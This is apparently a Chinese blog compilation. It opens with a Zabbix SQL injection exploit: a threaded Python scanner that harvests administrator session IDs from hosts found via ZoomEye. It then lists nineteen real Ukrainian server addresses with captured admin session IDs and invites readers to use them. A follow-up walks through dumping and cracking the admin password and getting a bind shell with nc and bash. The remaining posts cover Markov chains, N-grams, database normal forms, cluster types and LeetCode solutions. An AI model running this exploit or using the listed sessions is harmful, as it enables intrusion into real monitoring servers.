借助zoomeye进行Zabbix管理员sessionid抓取

首先 贴一下Exp:

import threadpool
import os,re
import urllib,sys,urllib2,urllib
import socket
socket.setdefaulttimeout(30)
ip_tag = r'<a.*?hint\-\-bottom.*?href="(.*?)"'
output_file = None
cnt = 0
def cookie(url):
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
    try:
        body= urllib.urlopen(url+poc).read()
    except:
        return None
    cookie=body.split('Duplicate entry')
    if len(cookie) > 1:
        cookie = cookie[1].split('for key')[0][3:-2]
    else:
        cookie = None
    return cookie
def test(cookie,url):
    if cookie is None:
        return
    url=url+'proxies.php'
    req=urllib2.Request(url)
    cook="zbx_sessionid=%s" % cookie
    req.add_header('Cookie', cook)
    try:
        response=urllib2.urlopen(req)
        data=response.read()
    except:
        return
 
    if data.find('Access denied.') < 0:
        return cookie
    else:
        return None
def re_ip(file):
    if os.path.exists(file) == False:
        return []
    f = open(file,'r+b')
    info = f.read()
    f.close()
    hosts = re.findall(ip_tag,info)
    return hosts
def capture_host(dir_path):
    all_host = list()
    if os.path.exists(dir_path):
        for p,d,s in os.walk(dir_path):
            for f in s:
                c_p = os.path.join(dir_path,f)
                c_h = re_ip(c_p)
                all_host.extend(c_h)
    return list(set(all_host))          
def t_p(ip):
    ret = test(cookie(ip),ip)
    if ret is not None:
        #print 'Found--->'+ip+' '+str(ret)
        global output_file
        f = open(output_file,'a+b')
        f.write(ip+' '+str(ret)+os.linesep)
        f.close()
    global cnt
    cnt += 1
    print cnt
if __name__ == '__main__':
    inf = sys.argv[1]
    output_file = sys.argv[2]
    h_s = capture_host(inf)
    print len(h_s)
    r_h = list()
    pool = threadpool.ThreadPool(100)
    requests = threadpool.makeRequests(t_p, h_s)
    [pool.putRequest(req) for req in requests]
    pool.wait()
    print 'DOne'

把Zoomeye Zabbix的查询页面保存到一个文件夹里,记得保存时要保存所有页面。
然后执行 :
python zabbix.py 保存html的目录名 想要保存结果的文件

Done!
下面展示下乌克兰存在Zabbix Sqli的系统及管理sessionid,拿去随意挥霍吧:
(问我怎么挥霍?改登录页面cookie!
document.cookie = “zbx_sessionid=捕获的sessionid”

http://91.206.212.227:8080/ 055dca7e83903f1b69f452a154ef09b9
http://185.86.77.122/ 0e41db18294a0adec7284b991da6a7cb
http://171.25.175.67/ 02c43a0f838231adb05d955a932a4505
http://92.249.114.95/ 04b0fb8f88b2cdb3aacba527f128b2c4
http://91.209.24.4/ 0207a743a3e3180b894f9e91ac350a7a
http://213.160.154.14/ 0d53f71b01d609e687067ff146f30a85
http://217.77.221.237:8888/ 5b9ce69b0e56bc654662e2978d2283a0
http://193.34.172.134/ 469746715bf9b3c96e733993f8be34b4
http://46.172.71.146:82/ 05df4b5e6af1498cd1ac5f92c5222cbd
http://83.142.232.43/ 0000038ad556182db58a919a1b482622
http://94.158.80.46/ 09bb97782274e3df61af0a7ed0260318
http://91.209.24.3/ 0207a743a3e3180b894f9e91ac350a7a
http://185.46.188.22/ 3d12a4ba3467cb2af64c7a3476be5628
http://212.26.129.115:8080/ 08345539730cfcc08d90bc3c8d165718
http://194.8.145.83/ 006f26c73934db6f43d5f51a1963f86c
http://31.28.167.83/ c1c1b254abf47e15221ef2cd4be9fc5f
http://77.120.122.9/ 1d336b417920ddf72794a6e2c01f8d6f
http://77.120.123.13/ 2d8a354f49b228730b9d5589c846979e
http://91.199.93.162/ 0a77174837ef338a6f964c756fdd584e

Zabbix最新SQL注入及getShell

注入地址:

/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,(select(select+concat(0x7e,alias,0x7e,passwd,0x7e))+from+zabbix.users+LIMIT+0,1),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

获取密码:

<code>

<div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (235, 1, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,(select(select concat(0x7e,alias,0x7e,passwd,0x7e)) from zabbix.users LIMIT 0,1),1) or 1=1)#)] [XPATH syntax error: '~Admin~2974557a2b57c344a28a3c384']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (236, 1, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,(select(select concat(0x7e,alias,0x7e,passwd,0x7e)) from zabbix.users LIMIT 0,1),1) or 1=1)#)] [XPATH syntax error: '~Admin~2974557a2b57c344a28a3c384']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (237, 1, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,(select(select concat(0x7e,alias,0x7e,passwd,0x7e)) from zabbix.users LIMIT 0,1),1) or 1=1)#)] [XPATH syntax error: '~Admin~2974557a2b57c344a28a3c384']</li></ul></td></tr></table>

</code>

3.破解密码

2b57c344a28a3c38 —>aol321

4.后台登录

5.getShell

后台->Administration->Scripts ->Create Script->Command写入:

<code>

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 2222 > /tmp/tmp_fifo

</code>

Execute on选择Zabbix server ->Save

在Dashboard-》选择 Host点击->在出现的窗口点击刚创建的脚本的名字->链接跳转。

6.nc链接2222端口

nc *。*。*。* 2222

7.Shell Got

马尔科夫链(Markov) 概念定义

马尔可夫链,因安德烈·马尔可夫(A.A.Markov,1856-1922)得名,是指数学中具有马尔可夫性质的离散事件随机过程。该过程中,在给定当前知识或信息的情况下,过去(即当前以前的历史状态)对于预测将来(即当前以后的未来状态)是无关的。

一句话说就是,马尔科夫链(Markov)是一个无后效性,状态和时间都是离散的随机过程。

 

N-Gram 模型的假设

N-Gram 模型基于这样一种假设,第n个词的出现只与前面n-1个词相关,而与其它任何词都不相关,整句的概率就是各个词出现概率的乘积。在拼写检查里即是一个字母的出现概率只和前n-1个字母的出现概率相关,并且是前n-1个字母出现概率的乘积。

20世纪70年代之前,科学家们试图推断这个文字序列是否合乎文法、含义是否正确等。但这条路走不动。贾里尼克从另外一个角度来看待这个问题。用一个简单的统计语言模型非常美丽的搞定了它。贾里尼克的出发点非常easy:一个句子是否合理。就看看它的可能性大小怎样。至于可能性就用概率来衡量。第一个句子出现的概率最大,因此。第一个句子最有可能句子结构合理。这种方法更普通而严格的描写叙述是: 假定S表示某一个有意义的句子,由一连串特定顺序排列的词w1,w2,w3,…,wn组成。这里n是句子的长度。如今,我想知道S在文本中(语料库)出现的可能性,也就是数学上所说的S的概率P(S)。我们须要一个模型来估算概率。既然S=w1,w2,w3,…,wn。那么最好还是把P(S)展开表示: P(S)=P(w1,w2,w3,…,wn)

利用条件概率的公式。S这个序列出现的概率等于每个词出现的条件概率相乘,于是P(w1,…,wn)展开为:、
P(S)=P(W1,W2,W3,…,Wn)=P(W1)P(W2|W1)P(W3|W1,W2)…P(Wn|W1,W2,…,Wn-1)
当中P(w1)表示第一个词w1出现的概率;P(w2|w1)是已知第一个词的前提下。第二个词出现的概率;以此类推,词wn出现的概率取决于它前面全部的词。
可是这样的方法存在两个致命的缺陷:一个缺陷是參数空间过大(条件概率P(wn|w1,w2,…,wn-1)的可能性太多,无法估算),不可能有用处。另外一个缺陷是数据稀疏严重。
数据稀疏的解释:如果词表中有20000个词,如果是bigram model(二元模型)那么可能的2-gram就有400000000个,如果是trigram(3元模型),那么可能的3-gram就有8000000000000个!那么对于当中的非常多词对的组合,在语料库中都没有出现,依据最大似然估计得到的概率将会是0。这会造成非常大的麻烦,在算句子的概率时一旦当中的某项为0。那么整个句子的概率就会为0,最后的结果是,我们的模型仅仅能算可怜兮兮的几个句子,而大部分的句子算得的概率是0. 因此,我们要进行数据平滑(data Smoothing),数据平滑的目的有两个:一个是使全部的N-gram概率之和为1,使全部的N-gram概率都不为0,有关数据平滑处理的方法能够參考《数学之美》第33页的内容。

数据库三大范式

1、第一范式(1NF)
        在任何一个关系数据库中,第一范式(1NF)是对关系模式的基本要求,不满足第一范式(1NF)的数据库就不是关系数据库。
        所谓第一范式(1NF)是指数据库表的每一列都是不可分割的基本数据项,同一列中不能有多个值,即实体中的某个属性不能有多个值或者不能有重复的属性。如果出现重复的属性,就可能需要定义一个新的实体,新的实体由重复的属性构成,新实体与原实体之间为一对多关系。在第一范式(1NF)中表的每一行只包含一个实例的信息。例如,对于图3-2 中的员工信息表,不能将员工信息都放在一列中显示,也不能将其中的两列或多列在一列中显示;员工信息表的每一行只表示一个员工的信息,一个员工的信息在表中只出现一次。简而言之,第一范式就是无重复的列。

2、第二范式(2NF)
       第二范式(2NF)是在第一范式(1NF)的基础上建立起来的,即满足第二范式(2NF)必须先满足第一范式(1NF)。第二范式(2NF)要求数据库表中的每个实例或行必须可以被唯一地区分。为实现区分通常需要为表加上一个列,以存储各个实例的唯一标识。如图3-2 员工信息表中加上了员工编号(emp_id)列,因为每个员工的员工编号是唯一的,因此每个员工可以被唯一区分。这个唯一属性列被称为主关键字或主键、主码。
        第二范式(2NF)要求实体的属性完全依赖于主关键字。所谓完全依赖是指不能存在仅依赖主关键字一部分的属性,如果存在,那么这个属性和主关键字的这一部分应该分离出来形成一个新的实体,新实体与原实体之间是一对多的关系。为实现区分通常需要为表加上一个列,以存储各个实例的唯一标识。简而言之,第二范式就是非主属性非部分依赖于主关键字。

3、第三范式(3NF)
        满足第三范式(3NF)必须先满足第二范式(2NF)。简而言之,第三范式(3NF)要求一个数据库表中不包含已在其它表中已包含的非主关键字信息。例如,存在一个部门信息表,其中每个部门有部门编号(dept_id)、部门名称、部门简介等信息。那么在图3-2的员工信息表中列出部门编号后就不能再将部门名称、部门简介等与部门有关的信息再加入员工信息表中。如果不存在部门信息表,则根据第三范式(3NF)也应该构建它,否则就会有大量的数据冗余。简而言之,第三范式就是属性不依赖于其它非主属性。

网站集群分类

一般来讲,集群软件根据侧重的方向和试图解决的问题,分为三大类:高性能集群(High performance cluster,HPC)、负载均衡集群(Load balance cluster, LBC),高可用性集群(High availability cluster,HAC)。
高性能集群(High performance cluster,HPC),它是利用一个集群中的多台机器共同完成同一件任务,使得完成任务的速度和可靠性都远远高于单机运行的效果。弥补了单机性能上的不足。该集群在天气预报、环境监控等数据量大,计算复杂的环境中应用比较多;
负载均衡集群(Load balance cluster, LBC),它是利用一个集群中的多台单机,完成许多并行的小的工作。一般情况下,如果一个应用使用的人多了,那么用户请求的响应时间就会增大,机器的性能也会受到影响,如果使用负载均衡集群,那么集群中任意一台机器都能响应用户的请求,这样集群就会在用户发出服务请求之后,选择当时负载最小,能够提供最好的服务的这台机器来接受请求并相应,这样就可用用集群来增加系统的可用性和稳定性。这类集群在网站中使用较多;
高可用性集群(High availability cluster,HAC),它是利用集群中系统 的冗余,当系统中某台机器发生损坏的时候,其他后备的机器可以迅速的接替它来启动服务,等待故障机的维修和返回。最大限度的保证集群中服务的可用性。这类系统一般在银行,电信服务这类对系统可靠性有高的要求的领域有着广泛的应用。

leetcode-137. Single Number II[很有意思的一道题目]

Given an array of integers, every element appears three times except for one. Find that single one.

Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?

题目链接:https://leetcode.com/problems/single-number-ii/

 

这道题目最直接的方法是使用哈希表来解决。

但是使用哈希表是文艺青年的做派。

对于追求极致的大牛来说,这显然还不够。

下面的解法思路是从其它大牛copy来的,简单分析一下:

class Solution(object):
    def singleNumber(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        one, two, three = 0, 0, 0
        for v in nums:
            two |= one & v
            one ^= v
            three = ~(one & two)
            one &= three
            two &= three
        return one
思路解析:
因为除了一个出现了一次的数,其它数都重复了3次。我们可以想到用
位运算来解决问题。
我们用one记录当前位置之前(包括当前位置)所有数字的各个二进制位
的总数模3等于1 ,同样用two记录当前位置之前(包括当前位置)所有数
字的各个二进制位的总数模3等于2
比如当前数字是3,前面有1与4,那么one会记录3,1,4第1至32位bit
中1出现的次数模3==1的结果,two会记录模3==2的结果。
one&two的结果的某个比特位==1,说明one中的该比特位与two中的
该比特位都是1,那么说明该比特位出现了3次,需要从当前结果中消掉
这些比特位。很简单,one&two按位取反表明不需要去掉的比特位,
那么one&(~(one&two))将one中的出现3次的比特位去掉。
最后剩下只出现一次的数的所有的比特位都在one中记录。那么one肯定
就是那个只出现一次的数。

leetcode-287. Find the Duplicate Number[Floyd算法-龟兔算法]

该题的另一种解法是环检测的方法。

http://keithschwarz.com/interesting/code/find-duplicate/FindDuplicate.python.html

以下为翻译:

这道题(据说)花费了计算机科学界的传奇人物Don Knuth 24小时才解出来。并且我只见过一个人(Keith Amling)用更短时间解出此题。

问题的第一部分 - 证明至少存在一个重复元素 - 是鸽笼原理的直接应用。如果元素的范围是[1, n],那么只存在n种不同的值。如果有n+1个元素,其中一个必然重复。

问题的第二部分 - 在给定约束条件下寻找重复元素 - 可就难多了。 要解决这个问题,我们需要敏锐的洞察力,使问题通过一列的转化,变为一个完全不同的问题。

解决本题需要的主要技巧就是要注意到:由于数组的n + 1个元素范围从1到n,我们可以将数组考虑成一个从集合{1, 2, ..., n}到其本身的函数f。这个函数的定义为f(i) = A[i]。基于这个设定,重复元素对应于一对下标i != j满足 f(i) = f(j)。我们的任务就变成了寻找一对(i, j)。一旦我们找到这个值对,只需通过f(i) = A[i]即可获得重复元素。

但是我们怎样寻找这个重复值呢?这变成了计算机科学界一个广为人知的“环检测”问题。问题的一般形式如下:给定一个函数f,序列x_i的定义为

    x_0     = k       (for some k)
    x_1     = f(x_0)
    x_2     = f(f(x_0))
    ...
    x_{n+1} = f(x_n)

假设函数f从定义域映射到它本身,此时会有3种情况。首先,如果定义域是无穷的,则序列是无限长并且没有循环的。例如,函数 f(n) = n + 1,在整数范围内满足这个性质 - 没有数字是重复的。 第二, 序列可能是一个闭合循环,这意味着存在一个i使得x_0 = x_i。在这个例子中,序列在一组值内无限循环。第三,序列有可能是的“ρ型的”,此时序列看起来像下面这样:

      x_0 -> x_1 -> ... x_k -> x_{k+1} ... -> x_{k+j}
                         ^                       |
                         |                       |
                         +-----------------------+

也就是说,序列从一列链条型的元素开始进入一个环,然后无限循环。我们将环的起点称为环的“入口”。

对于从数组中寻找重复元素这个问题,考虑序列从位置n开始重复调用函数f。亦即从数组的最后一个元素开始,然后移动到其元素值对应的下标处,并且重复此过程。可以得到:此序列是ρ型的。要明白这一点,需要注意到其中一定有环,因为数组是有限的并且当访问n个元素时,一定会对某个元素访问两次。无论从数组的哪一个位置开始,这都是成立的。

另外,注意由于数组元素范围1到n,因此不存在值为0的元素。进而,从数组的第一个元素开始调用一次函数f之后,再也不会回到这里。这意味着第一个元素不会是环的一部分,但如果我们继续重复调用函数f,最终总会访问某个节点两次。从0节点开始的链条与环形相接,使得其形状一定是ρ型。

此外,考虑一下环的入口。由于节点位于环的入口,一定存在两个输入,其对应的函数f的输出值都等于入口元素下标。要使其成立,一定存在两个下标i != j,满足f(i) = f(j),亦即A[i] = A[j]。因而环的入口一定是重复值。

这是由Robert Floyd提出的一个著名算法,给定一个ρ型序列,在线性时间,只使用常数空间寻找环的起点。这个算法经常被称为“龟兔”算法,至于原因下面就明白了。
算法背后的思想是定义两个变量。首先,令c为进入环的链的长度,然后令l为环的长度。接下来,令l'为大于c的l的倍数的最小值。可以得出结论:对于上文定义的任意ρ型序列的l',都有
 
     x_{l'} = x_{2l'}
 
证明实际上非常直观并且具有自明性 - 这是计算机科学中我最喜欢的证明之一。思路就是由于l'至少为c,它一定包含在环内。同时,由于l'是环长度的倍数,我们可以将其写作ml,其中m为常数。如果我们从位置x_{l'}开始(其在环内),然后再走l'步到达x_{2l'},则我们恰好绕环m次,正好回到起点。

Floyd算法的一个关键点就是即使我们不明确知道c的值,依然可以在O(l')时间内找到值l'。思路如下。我们追踪两个值"slow"和"fast",均从x_0开始。然后迭代计算
 
     slow = f(slow)
     fast = f(f(fast))
 
我们重复此步骤直到slow与fast彼此相等。此时,我们可知存在j满足slow = x_j,并且fast = x_{2j}。 由于x_j = x_{2j},可知j一定至少为c,因为此时已经在环中。另外,可知j一定是l的倍数,因为x_j = x_{2j}意味着在环内再走j步会得到同样的结果。最后,j一定是大于c的l的最小倍数,因为如果存在一个更小的大于c的l的倍数,我们一定会在到达j之前到达那里。所以,我们一定有j = l',意味着我们可以在不知道环的长度或者形状的情况下找到l'。

要完成整个过程,我们需要明白如何使用l'来找到环的入口(记为x_c)。要做到这一步,我们再用最后一个变量,记为"finder",从x_0出发。然后迭代重复执行过程:

 
    finder = f(finder)
    slow   = f(slow)
 
直到finder = slow为止。
我们可知:
(1) 两者一定会相遇 
(2) 它们会在环的入口相遇。 
要理解这两点,我们注意由于slow位于x_{l'},如果我们向前走c步,那么slow会到达位置x_{l' + c}。由于l'是环长度的倍数,相当于向前走了c步,然后绕环几圈回到原位。换言之,x_{l' + c} = x_c。另外,考虑finder变量在行进c步之后的位置。 它由x_0出发,因此c步之后会到达x_c。这证明了(1)和(2),由此我们已经证明两者最终会相遇,并且相遇点就是环的入口。

算法的美妙之处在于它只用O(1)的额外存储空间来记录两个不同的指针 - slow指针和fast指针(第一部分),以及finder指针(第二部分)。但是在此之上,运行时间是O(n)的。要明白这一点,注意slow指针追上fast指针的时间是O(l')。由于l'是大于c的l的最小倍数,有两种情况需要考虑。首先,如果l > c,那么就是l。 否则,如果l < c,那么我们可知一定存在l的倍数介于c与2c之间。要证明这一点,注意在范围c到2c内,有c个不同的值,由于l < c,其中一定有值对l取模运算等于0。最后,寻找环起点的时间为O(c)。这给出了总的运行时间至多为O(c + max{l, 2c})。所有这些值至多为n,因此算法的运行时间复杂度为O(n)。

Python程序如下:
class Solution(object):
    def findDuplicate(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        fast = 0
        slow = 0

        while True:
            fast = nums[nums[fast]]
            slow = nums[slow]
            if slow == fast:
                break

        fast = 0
        while fast != slow:
            fast = nums[fast]
            slow = nums[slow]

        return fast